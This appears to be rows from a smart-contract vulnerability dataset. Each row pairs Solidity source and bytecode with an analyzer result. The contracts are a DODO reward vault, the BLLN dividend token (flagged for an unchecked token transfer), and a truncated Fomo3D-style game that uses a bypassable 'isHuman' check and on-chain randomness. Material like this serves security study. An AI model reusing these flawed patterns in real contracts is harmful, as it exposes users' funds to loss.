*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/*
Copyright 2020 DODO ZOO.
This is a simplified version of OpenZepplin's SafeERC20 library
*/
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/token/DODORewardVault.sol
/*
Copyright 2020 DODO ZOO.
*/
interface IDODORewardVault {
function reward(address to, uint256 amount) external;
}
contract DODORewardVault is Ownable {
using SafeERC20 for IERC20;
address public dodoToken;
constructor(address _dodoToken) public {
dodoToken = _dodoToken;
}
function reward(address to, uint256 amount) external onlyOwner {
IERC20(dodoToken).safeTransfer(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806316048bc41461006757806321670f22146100855780634e71e0c81461009a57806375123ff9146100a25780638456db15146100aa578063f2fde38b146100b2575b600080fd5b61006f6100c5565b60405161007c9190610459565b60405180910390f35b6100986100933660046103d6565b6100d4565b005b610098610128565b61006f6101b6565b61006f6101c5565b6100986100c03660046103b4565b6101d4565b6000546001600160a01b031681565b6000546001600160a01b031633146101075760405162461bcd60e51b81526004016100fe90610509565b60405180910390fd5b600254610124906001600160a01b0316838363ffffffff61027f16565b5050565b6001546001600160a01b031633146101525760405162461bcd60e51b81526004016100fe90610486565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6002546001600160a01b031681565b6001546001600160a01b031681565b6000546001600160a01b031633146101fe5760405162461bcd60e51b81526004016100fe90610509565b6001600160a01b0381166102245760405162461bcd60e51b81526004016100fe906104e2565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6102d58363a9059cbb60e01b848460405160240161029e92919061046d565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526102da565b505050565b60006060836001600160a01b0316836040516102f69190610420565b6000604051808303816000865af19150503d8060008114610333576040519150601f19603f3d011682016040523d82523d6000602084013e610338565b606091505b50915091508161035a5760405162461bcd60e51b81526004016100fe906104ad565b80511561039157808060200190518101906103759190610400565b6103915760405162461bcd60e51b81526004016100fe9061052c565b50505050565b80356001600160a01b03811681146103ae57600080fd5b92915050565b6000602082840312156103c5578081fd5b6103cf8383610397565b9392505050565b600080604083850312156103e8578081fd5b6103f28484610397565b946020939093013593505050565b600060208284031215610411578081fd5b815180151581146103cf578182fd5b60008251815b818110156104405760208186018101518583015201610426565b8181111561044e5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b60608201526080019056fea2646970667358221220ef58be852af0c74d1fffbe345875ca42a7e339c35b79546168f52cb1dc23fe5764736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 9,403 |
0x4fd3d880aa1927af77f85e08e72c0bd38818c7da
|
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CanReclaimToken is Ownable {
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
interface BLLNDividendInterface {
function setTokenAddress(address _tokenAddress) external;
function buyToken() external payable;
function withdraw(uint256 _amount) external;
function withdrawTo(address _to, uint256 _amount) external;
function updateDividendBalance(uint256 _totalSupply, address _address, uint256 _tokensAmount) external;
function transferTokens(address _from, address _to, uint256 _amount) external returns (bool);
function shareDividends() external payable;
function getDividendBalance(address _address) external view returns (uint256);
}
contract BLLNToken is MintableToken, CanReclaimToken {
string public constant name = "Billion Token";
string public constant symbol = "BLLN";
uint32 public constant decimals = 0;
uint256 public constant maxTotalSupply = 250*(10**6);
BLLNDividendInterface public dividend;
constructor(address _dividendAddress) public {
require(_dividendAddress != address(0));
dividend = BLLNDividendInterface(_dividendAddress);
}
modifier canMint() {
require(totalSupply_ < maxTotalSupply);
_;
}
modifier onlyDividend() {
require(msg.sender == address(dividend));
_;
}
modifier onlyPayloadSize(uint size) {
require(msg.data.length == size + 4);
_;
}
function () public {}
function mint(address _to, uint256 _amount) public onlyDividend canMint returns (bool) {
require(_to != address(0));
require(_amount != 0);
uint256 newTotalSupply = totalSupply_.add(_amount);
require(newTotalSupply <= maxTotalSupply);
totalSupply_ = newTotalSupply;
balances[_to] = balances[_to].add(_amount);
dividend.updateDividendBalance(totalSupply_, _to, _amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2*32) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
require(dividend.transferTokens(msg.sender, _to, _value));
emit Transfer(msg.sender, _to, _value);
return true;
}
}
|
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011557806306fdde031461013e578063095ea7b3146101c85780630ff8cf9b146101ec57806317ffc3201461021d57806318160ddd1461024057806323b872dd146102675780632ab4d05214610291578063313ce567146102a657806340c10f19146102d457806366188463146102f857806370a082311461031c5780637d64bcb41461033d5780638da5cb5b1461035257806395d89b4114610367578063a9059cbb1461037c578063d73dd623146103a0578063dd62ed3e146103c4578063f2fde38b146103eb575b34801561011257600080fd5b50005b34801561012157600080fd5b5061012a61040c565b604080519115158252519081900360200190f35b34801561014a57600080fd5b5061015361042d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018d578181015183820152602001610175565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b5061012a600160a060020a0360043516602435610464565b3480156101f857600080fd5b506102016104ca565b60408051600160a060020a039092168252519081900360200190f35b34801561022957600080fd5b5061023e600160a060020a03600435166104d9565b005b34801561024c57600080fd5b50610255610622565b60408051918252519081900360200190f35b34801561027357600080fd5b5061012a600160a060020a0360043581169060243516604435610628565b34801561029d57600080fd5b5061025561079f565b3480156102b257600080fd5b506102bb6107a7565b6040805163ffffffff9092168252519081900360200190f35b3480156102e057600080fd5b5061012a600160a060020a03600435166024356107ac565b34801561030457600080fd5b5061012a600160a060020a0360043516602435610978565b34801561032857600080fd5b50610255600160a060020a0360043516610a68565b34801561034957600080fd5b5061012a610a83565b34801561035e57600080fd5b50610201610b13565b34801561037357600080fd5b50610153610b22565b34801561038857600080fd5b5061012a600160a060020a0360043516602435610b59565b3480156103ac57600080fd5b5061012a600160a060020a0360043516602435610cf9565b3480156103d057600080fd5b50610255600160a060020a0360043581169060243516610d92565b3480156103f757600080fd5b5061023e600160a060020a0360043516610dbd565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051808201909152600d81527f42696c6c696f6e20546f6b656e00000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600454600160a060020a031681565b600354600090600160a060020a031633146104f357600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561055457600080fd5b505af1158015610568573d6000803e3d6000fd5b505050506040513d602081101561057e57600080fd5b5051600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156105f257600080fd5b505af1158015610606573d6000803e3d6000fd5b505050506040513d602081101561061c57600080fd5b50505050565b60015490565b6000600160a060020a038316151561063f57600080fd5b600160a060020a03841660009081526020819052604090205482111561066457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561069457600080fd5b600160a060020a0384166000908152602081905260409020546106bd908363ffffffff610e5216565b600160a060020a0380861660009081526020819052604080822093909355908516815220546106f2908363ffffffff610e6416565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610734908363ffffffff610e5216565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b630ee6b28081565b600081565b6004546000908190600160a060020a031633146107c857600080fd5b600154630ee6b280116107da57600080fd5b600160a060020a03841615156107ef57600080fd5b8215156107fb57600080fd5b60015461080e908463ffffffff610e6416565b9050630ee6b28081111561082157600080fd5b6001819055600160a060020a03841660009081526020819052604090205461084f908463ffffffff610e6416565b600160a060020a03808616600081815260208190526040808220949094556004805460015486517f3b5b07870000000000000000000000000000000000000000000000000000000081529283015260248201939093526044810188905293519190921692633b5b078792606480830193919282900301818387803b1580156108d657600080fd5b505af11580156108ea573d6000803e3d6000fd5b5050604080518681529051600160a060020a03881693507f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592509081900360200190a2604080518481529051600160a060020a038616916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156109cd57336000908152600260209081526040808320600160a060020a0388168452909152812055610a02565b6109dd818463ffffffff610e5216565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a03163314610a9d57600080fd5b600154630ee6b28011610aaf57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b60408051808201909152600481527f424c4c4e00000000000000000000000000000000000000000000000000000000602082015281565b6000604036604414610b6a57600080fd5b600160a060020a0384161515610b7f57600080fd5b33600090815260208190526040902054831115610b9b57600080fd5b33600090815260208190526040902054610bbb908463ffffffff610e5216565b3360009081526020819052604080822092909255600160a060020a03861681522054610bed908463ffffffff610e6416565b600160a060020a03808616600081815260208181526040808320959095556004805486517fa64b6e5f00000000000000000000000000000000000000000000000000000000815233928101929092526024820194909452604481018990529451929093169363a64b6e5f93606480830194919391928390030190829087803b158015610c7857600080fd5b505af1158015610c8c573d6000803e3d6000fd5b505050506040513d6020811015610ca257600080fd5b50511515610caf57600080fd5b604080518481529051600160a060020a0386169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610d2d908363ffffffff610e6416565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610dd457600080fd5b600160a060020a0381161515610de957600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e5e57fe5b50900390565b600082820183811015610e7357fe5b93925050505600a165627a7a72305820179d373070b2ea406a3e2f27d8275881dc2faf251c70239206151bc537eff55e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,404 |
0xce051158b8edfb00ae72b3418a80369728e17536
|
pragma solidity ^0.4.24;
contract INTIME {
using SafeMath for *;
struct Player {
uint id;
uint referrer;
uint generation;
string name;
uint256 weight;
uint256 balance;
uint256 withdrawal;
uint256 referralBonus;
uint256 lastKeyBonus;
uint256 potBonus;
uint256 stakingBonus;
uint256 airdropBonus;
}
mapping(address => Player) public players;
// System
address public teamAddress;
uint256 public teamNamingIncome;
address public keyAddress;
address[] participantPool;
uint256 participantPoolStart;
uint256 participantPoolEnd;
address[] public participants;
uint256 public participantsLength;
address[] public winner;
uint256 public deadline;
uint256 keyPrice_min;
uint256 keyPrice_max;
uint256 public keyPrice;
uint256 public currentGeneration;
uint256 public currentKeyRound;
uint256 public duration;
uint256[] public durationPhaseArray;
uint256 public durationPhaseIndex;
uint256 public poolWeight;
uint256 public poolBalance;
uint256 public poolReward;
uint256 public poolWithdraw;
bool public airdropped;
bool public keyLocked;
uint256 public airdropWinTime;
uint256 public airdropBalance;
uint256 public airdroppedAmount;
uint256 public unitStake;
uint256 public potReserve;
mapping(string => address) addressFromName;
event Withdrawal(
address indexed _from,
uint256 _value
);
event Deposit(
address indexed _keyHolder,
uint256 _weight,
uint256 _keyPrice,
uint256 _deadline,
uint256 _durationPhaseIndex,
bool _phaseChanged,
uint256 _poolBalance,
uint256 _poolReward,
uint256 _poolWeight,
// If Airdrop
bool _airdropped,
uint256 _airdropBalance,
// If Trigger Reserve
bool _potReserveGive,
uint256 _potReserve
);
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* Constructor function
*
*/
constructor (
address _teamAddress
) public {
teamAddress = _teamAddress;
keyPrice_min = 1e14; // in wei, 0.0001 eth
keyPrice_max = 15e15; // in wei, 0.015 eth
keyPrice = keyPrice_min; // in wei, 0.0001 eth
keyAddress = msg.sender;
durationPhaseArray = [1440, 720, 360, 180, 90, 60, 30];
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
currentGeneration = 0;
resetGame();
}
function resetGame() private {
uint256 residualBalance = 0;
if(currentGeneration != 0) {
// Distribute tokens
// Staking distribution => distributed on deposit
// Pool distribution => 20%
unitStake = 0;
// 75% for the winner;
players[keyAddress].balance += poolBalance / 5 * 75 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 75 / 100;
// 15% for random participant
if(participantPoolEnd - participantPoolStart > 0) {
uint randParticipantIndex = rand(participantPoolStart + 1, participantPoolEnd);
players[participantPool[randParticipantIndex - 1]].balance += poolBalance / 5 * 15 / 100;
players[participantPool[randParticipantIndex - 1]].lastKeyBonus += poolBalance / 5 * 15 / 100;
} else {
players[keyAddress].balance += poolBalance / 5 * 15 / 100;
players[keyAddress].lastKeyBonus += poolBalance / 5 * 15 / 100;
}
// 10% and pot reserve for next round
residualBalance += poolBalance / 5 * 10 / 100 + potReserve;
winner.push(keyAddress);
}
airdropWinTime = now;
keyPrice = 1e15;
poolWeight = 0;
poolReward = 0;
potReserve = 0;
// Reset duration and deadline
durationPhaseIndex = 0;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
poolBalance = residualBalance;
keyLocked = false;
currentKeyRound = 0;
currentGeneration ++;
keyAddress = teamAddress;
participantPoolStart = participantPool.length;
participantPoolEnd = participantPool.length;
}
/**
* Unique address
*
*/
function setName(string name) isHuman() payable public {
uint256 amount = msg.value;
require(amount >= 1e15);
require(addressFromName[name] == address(0));
players[teamAddress].balance += amount;
teamNamingIncome += amount;
players[msg.sender].name = name;
addressFromName[name] = msg.sender;
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function referralName (string name) isHuman() payable public {
if(addressFromName[name] != address(0) && addressFromName[name] != msg.sender && players[msg.sender].referrer == 0)
players[msg.sender].referrer = players[addressFromName[name]].id;
uint256 amount = msg.value;
deposit(amount);
}
function referralPay (uint referrer) isHuman() payable public {
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
uint256 amount = msg.value;
deposit(amount);
}
function () isHuman() payable public {
uint256 amount = msg.value;
deposit(amount);
}
function depositVault (uint keyCount, uint referrer) isHuman() public {
require(keyLocked == false);
keyLocked = true;
// Buy key from current balance
uint256 amount = keyCount * keyPrice;
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(amount <= availableWithdrawal);
require(amount > 0);
players[msg.sender].withdrawal += amount;
if(referrer > participants.length)
referrer = 0;
if(players[msg.sender].id != referrer && players[msg.sender].referrer == 0)
players[msg.sender].referrer = referrer;
keyLocked = false;
deposit(amount);
}
function deposit(uint256 amount) private {
if(now >= deadline) resetGame();
require(keyLocked == false);
keyLocked = true;
// Update pool balance
require(amount >= keyPrice, "You have to buy at least one key.");
poolBalance += amount;
currentKeyRound ++;
participantPool.push(msg.sender);
participantPoolEnd = participantPool.length;
// Update deadline if not last round
if(durationPhaseIndex < 6) deadline = now + duration * 1 minutes;
// Update key holder
keyAddress = msg.sender;
if(players[msg.sender].generation == 0) {
participants.push(msg.sender);
participantsLength = participants.length;
players[msg.sender].id = participants.length;
}
if(players[msg.sender].generation != currentGeneration) {
players[msg.sender].generation = currentGeneration;
players[msg.sender].weight = 0;
}
// Handling stake distribution
uint256 p_i = 0;
uint256 deltaStake = 0;
address _addr;
// 58% for staking
if(poolWeight > 0) {
unitStake = amount * 58 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * unitStake;
players[_addr].stakingBonus += players[_addr].weight * unitStake;
}
}
}
// 15% for referral
if(players[msg.sender].referrer > 0) {
_addr = participants[players[msg.sender].referrer - 1];
players[_addr].balance += amount * 15 / 100;
players[_addr].referralBonus += amount * 15 / 100;
} else {
if(poolWeight > 0) {
deltaStake = amount * 15 / 100 / poolWeight;
for(p_i = 0; p_i < participants.length; p_i++) {
_addr = participants[p_i];
if(players[_addr].generation == currentGeneration) {
players[_addr].balance += players[_addr].weight * deltaStake;
players[_addr].stakingBonus += players[_addr].weight * deltaStake;
}
}
} else {
players[teamAddress].balance += amount * 15 / 100;
players[teamAddress].stakingBonus += amount * 15 / 100;
}
}
// 4% for team
unitStake += deltaStake;
players[teamAddress].balance += amount * 4 / 100;
players[teamAddress].stakingBonus += amount * 4 / 100;
poolReward += amount * 77 / 100;
airdropBalance += amount * 2 / 100;
